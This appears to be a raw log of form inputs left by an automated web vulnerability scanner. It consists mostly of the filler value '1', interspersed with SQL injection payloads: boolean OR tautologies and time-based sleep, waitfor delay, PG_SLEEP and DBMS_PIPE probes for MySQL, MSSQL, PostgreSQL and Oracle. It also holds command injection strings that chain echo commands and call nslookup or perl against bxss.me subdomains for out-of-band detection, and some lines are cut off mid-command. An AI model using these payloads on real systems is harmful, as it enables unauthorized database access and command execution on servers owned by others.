1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1v74M96yH
125Vgw4go
1GALZTnw3
1LslHF7g7
1
1
-1 OR 2+94-94-1=0+0+0+1 --
-1 OR 2+993-993-1=0+0+0+1
-1' OR 2+315-315-1=0+0+0+1 --
-1' OR 2+606-606-1=0+0+0+1 or '4XeOlC4E'='
1
-1" OR 2+97-97-1=0+0+0+1 --
-1 OR 2+76-76-1=0+0+0+1 --
1
-1 OR 2+238-238-1=0+0+0+1
-1' OR 2+251-251-1=0+0+0+1 --
-1 OR 2+810-810-1=0+0+0+1 --
-1 OR 2+141-141-1=0+0+0+1
-1' OR 2+461-461-1=0+0+0+1 or '1ZTmypBY'='
-1' OR 2+359-359-1=0+0+0+1 --
-1" OR 2+960-960-1=0+0+0+1 --
-1' OR 2+87-87-1=0+0+0+1 or 'Fc2AlNgH'='
-1" OR 2+429-429-1=0+0+0+1 --
1
-1 OR 2+59-59-1=0+0+0+1 --
-1 OR 2+848-848-1=0+0+0+1
-1' OR 2+260-260-1=0+0+0+1 --
1
-1' OR 2+260-260-1=0+0+0+1 or 'DOguCcsE'='
-1" OR 2+200-200-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1eQ7JllzP
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
-1 OR 2+186-186-1=0+0+0+1 --
-1 OR 2+243-243-1=0+0+0+1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1' OR 2+609-609-1=0+0+0+1 --
-1' OR 2+654-654-1=0+0+0+1 or 'qRBg3vm2'='
-1" OR 2+500-500-1=0+0+0+1 --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1*if(now()=sysdate(),sleep(15),0)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1DdEnjB1W'; waitfor delay '0:0:15' --
1iJZ0LOY1'; waitfor delay '0:0:15' --
1mbKJW1YO'; waitfor delay '0:0:15' --
1ME44qqzm'; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 OR 810=(SELECT 810 FROM PG_SLEEP(15))--
1-1 OR 931=(SELECT 931 FROM PG_SLEEP(15))--
1-1 OR 507=(SELECT 507 FROM PG_SLEEP(15))--
1-1 OR 608=(SELECT 608 FROM PG_SLEEP(15))--
1-1 waitfor delay '0:0:15' --
1-1) OR 974=(SELECT 974 FROM PG_SLEEP(15))--
1-1) OR 456=(SELECT 456 FROM PG_SLEEP(15))--
1-1) OR 412=(SELECT 412 FROM PG_SLEEP(15))--
1-1) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
1Xkx0rxwm'; waitfor delay '0:0:15' --
1-1)) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
1-1)) OR 88=(SELECT 88 FROM PG_SLEEP(15))--
1-1)) OR 899=(SELECT 899 FROM PG_SLEEP(15))--
1-1)) OR 244=(SELECT 244 FROM PG_SLEEP(15))--
1-1 OR 627=(SELECT 627 FROM PG_SLEEP(15))--
1dywdPfWE' OR 890=(SELECT 890 FROM PG_SLEEP(15))--
1e8bSYyN3' OR 159=(SELECT 159 FROM PG_SLEEP(15))--
1kVupr9oP' OR 591=(SELECT 591 FROM PG_SLEEP(15))--
10oeljly1' OR 841=(SELECT 841 FROM PG_SLEEP(15))--
1-1) OR 979=(SELECT 979 FROM PG_SLEEP(15))--
1XUvNsXxN') OR 539=(SELECT 539 FROM PG_SLEEP(15))--
1DDsULm57') OR 654=(SELECT 654 FROM PG_SLEEP(15))--
15StsdnLY') OR 565=(SELECT 565 FROM PG_SLEEP(15))--
1hEXgVhVb') OR 472=(SELECT 472 FROM PG_SLEEP(15))--
1-1)) OR 667=(SELECT 667 FROM PG_SLEEP(15))--
1CLvbgRG9')) OR 43=(SELECT 43 FROM PG_SLEEP(15))--
1pW9zO0y1')) OR 153=(SELECT 153 FROM PG_SLEEP(15))--
1A9JwAmxU')) OR 798=(SELECT 798 FROM PG_SLEEP(15))--
1AbnrIUiH')) OR 833=(SELECT 833 FROM PG_SLEEP(15))--
14EeEv50J' OR 76=(SELECT 76 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
17vg5oYUn') OR 457=(SELECT 457 FROM PG_SLEEP(15))--
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
@@sV5gU
1'"
1
@@9rGxQ
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@jBaNG
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@dKB5a
1ZrVUEvBW')) OR 448=(SELECT 448 FROM PG_SLEEP(15))--
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1'"
1
@@8MrND
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo vivumv$()\ lpftph\nz^xyu||a #' &echo vivumv$()\ lpftph\nz^xyu||a #|" &echo vivumv$()\ lpftph\nz^xyu||a #
&echo scqyua$()\ gponru\nz^xyu||a #' &echo scqyua$()\ gponru\nz^xyu||a #|" &echo scqyua$()\ gponru\nz^xyu||a #
|echo modbyi$()\ fvnbwy\nz^xyu||a #' |echo modbyi$()\ fvnbwy\nz^xyu||a #|" |echo modbyi$()\ fvnbwy\nz^xyu||a #
(nslookup hitjygmjvtevuab7df.bxss.me||perl -e "gethostbyname('hitjygmjvtevuab7df.bxss.me')")
$(nslookup hittiokleiigcc7a77.bxss.me||perl -e "gethostbyname('hittiokleiigcc7a77.bxss.me')")
&(nslookup hitpisnstfkzdf85d2.bxss.me||perl -e "gethostbyname('hitpisnstfkzdf85d2.bxss.me')")&'\"`0&(nslookup hitpisnstfkzdf85d2.bxss.me||perl -e "gethostbyname('hitpisnstfkzdf85d2.bxss.me')")&`'
|(nslookup hitvtueecnqtuba0e8.bxss.me||perl -e "gethostbyname('hitvtueecnqtuba0e8.bxss.me')")
`(nslookup hitpabqslfnsf4e1aa.bxss.me||perl -e "gethostbyname('hitpabqslfnsf4e1aa.bxss.me')")`
;(nslookup hitxkebmtwljk141b9.bxss.me||perl -e "gethostbyname('hitxkebmtwljk141b9.bxss.me')")|(nslookup hitxkebmtwljk141b9.bxss.me||perl -e "gethostbyname('hitxkebmtwljk141b9.bxss.me')")&(nslookup hit
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo jhiugo$()\ zktmgr\nz^xyu||a #' &echo jhiugo$()\ zktmgr\nz^xyu||a #|" &echo jhiugo$()\ zktmgr\nz^xyu||a #
&echo cdqihe$()\ ohmsfc\nz^xyu||a #' &echo cdqihe$()\ ohmsfc\nz^xyu||a #|" &echo cdqihe$()\ ohmsfc\nz^xyu||a #
|echo aziofa$()\ ofbpjr\nz^xyu||a #' |echo aziofa$()\ ofbpjr\nz^xyu||a #|" |echo aziofa$()\ ofbpjr\nz^xyu||a #
(nslookup hitznrqlkehlq570d3.bxss.me||perl -e "gethostbyname('hitznrqlkehlq570d3.bxss.me')")
$(nslookup hitcsvwxcdyaj7a9d6.bxss.me||perl -e "gethostbyname('hitcsvwxcdyaj7a9d6.bxss.me')")
&(nslookup hitimkpvbhletc83f1.bxss.me||perl -e "gethostbyname('hitimkpvbhletc83f1.bxss.me')")&'\"`0&(nslookup hitimkpvbhletc83f1.bxss.me||perl -e "gethostbyname('hitimkpvbhletc83f1.bxss.me')")&`'
|(nslookup hitsjuwlcaysz9917c.bxss.me||perl -e "gethostbyname('hitsjuwlcaysz9917c.bxss.me')")
`(nslookup hitawycsmjgkk854fe.bxss.me||perl -e "gethostbyname('hitawycsmjgkk854fe.bxss.me')")`
;(nslookup hitmwavunmzxo0cd34.bxss.me||perl -e "gethostbyname('hitmwavunmzxo0cd34.bxss.me')")|(nslookup hitmwavunmzxo0cd34.bxss.me||perl -e "gethostbyname('hitmwavunmzxo0cd34.bxss.me')")&(nslookup hit
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1BNbQ0n6F
1rTmyrdlM
1hW7GU3qO
1HYktXyTR
1y6qOlyPL
1
-1 OR 2+518-518-1=0+0+0+1 --
-1 OR 2+758-758-1=0+0+0+1
1
-1' OR 2+301-301-1=0+0+0+1 --
-1 OR 2+137-137-1=0+0+0+1 --
-1' OR 2+453-453-1=0+0+0+1 or 'hVc69A26'='
1
-1 OR 2+157-157-1=0+0+0+1
-1" OR 2+967-967-1=0+0+0+1 --
-1 OR 2+458-458-1=0+0+0+1 --
-1' OR 2+270-270-1=0+0+0+1 --
-1 OR 2+875-875-1=0+0+0+1
-1' OR 2+479-479-1=0+0+0+1 or 'FmC1W7z2'='
-1' OR 2+910-910-1=0+0+0+1 --
-1" OR 2+960-960-1=0+0+0+1 --
-1' OR 2+598-598-1=0+0+0+1 or 'zVPfMK27'='
-1" OR 2+342-342-1=0+0+0+1 --
1
-1 OR 2+610-610-1=0+0+0+1 --
-1 OR 2+204-204-1=0+0+0+1
-1' OR 2+217-217-1=0+0+0+1 --
-1' OR 2+250-250-1=0+0+0+1 or 'dRtJgS5p'='
-1" OR 2+242-242-1=0+0+0+1 --
1
-1 OR 2+25-25-1=0+0+0+1 --
-1 OR 2+396-396-1=0+0+0+1
-1' OR 2+269-269-1=0+0+0+1 --
-1' OR 2+902-902-1=0+0+0+1 or '9Cgmp6nG'='
-1" OR 2+438-438-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1MaXBW0Y7'; waitfor delay '0:0:15' --
1NQb6sgwT'; waitfor delay '0:0:15' --
1sZMumSvv'; waitfor delay '0:0:15' --
1FXhcDRXp'; waitfor delay '0:0:15' --
1TUQBJb1h'; waitfor delay '0:0:15' --
1-1 OR 378=(SELECT 378 FROM PG_SLEEP(15))--
1-1 OR 936=(SELECT 936 FROM PG_SLEEP(15))--
1-1 OR 922=(SELECT 922 FROM PG_SLEEP(15))--
1-1 OR 135=(SELECT 135 FROM PG_SLEEP(15))--
1-1 OR 694=(SELECT 694 FROM PG_SLEEP(15))--
1-1) OR 459=(SELECT 459 FROM PG_SLEEP(15))--
1-1) OR 296=(SELECT 296 FROM PG_SLEEP(15))--
1-1) OR 833=(SELECT 833 FROM PG_SLEEP(15))--
1-1) OR 154=(SELECT 154 FROM PG_SLEEP(15))--
1-1) OR 813=(SELECT 813 FROM PG_SLEEP(15))--
1-1)) OR 721=(SELECT 721 FROM PG_SLEEP(15))--
1-1)) OR 649=(SELECT 649 FROM PG_SLEEP(15))--
1-1)) OR 447=(SELECT 447 FROM PG_SLEEP(15))--
1-1)) OR 341=(SELECT 341 FROM PG_SLEEP(15))--
1-1)) OR 85=(SELECT 85 FROM PG_SLEEP(15))--
1gPgxfafg' OR 481=(SELECT 481 FROM PG_SLEEP(15))--
1fp0if519' OR 974=(SELECT 974 FROM PG_SLEEP(15))--
14Fzmlgqk' OR 339=(SELECT 339 FROM PG_SLEEP(15))--
1mO9HcwC5' OR 727=(SELECT 727 FROM PG_SLEEP(15))--
15Pe6npzb' OR 550=(SELECT 550 FROM PG_SLEEP(15))--
1nQJY1mwX') OR 117=(SELECT 117 FROM PG_SLEEP(15))--
1AilDrIjH') OR 888=(SELECT 888 FROM PG_SLEEP(15))--
1L1yCIOAf') OR 181=(SELECT 181 FROM PG_SLEEP(15))--
11O6oo7Id') OR 587=(SELECT 587 FROM PG_SLEEP(15))--
1eIv0WABb') OR 783=(SELECT 783 FROM PG_SLEEP(15))--
1ptBhjh4r')) OR 394=(SELECT 394 FROM PG_SLEEP(15))--
1SmRiraqQ')) OR 218=(SELECT 218 FROM PG_SLEEP(15))--
1a2da9mBn')) OR 756=(SELECT 756 FROM PG_SLEEP(15))--
1LZXWTIB6')) OR 784=(SELECT 784 FROM PG_SLEEP(15))--
1T1weBjTA')) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@7Iim6
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1'"
1'"
1
1
@@ZAT5E
@@e1Uko
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
1'"
1
1
@@5oVBU
@@NbcIt
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1Ao0cPYeC
1
1
1
1
1
1
-1 OR 2+160-160-1=0+0+0+1 --
-1 OR 2+73-73-1=0+0+0+1
1
-1' OR 2+107-107-1=0+0+0+1 --
-1' OR 2+285-285-1=0+0+0+1 or 'yFna2QMQ'='
-1" OR 2+787-787-1=0+0+0+1 --
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
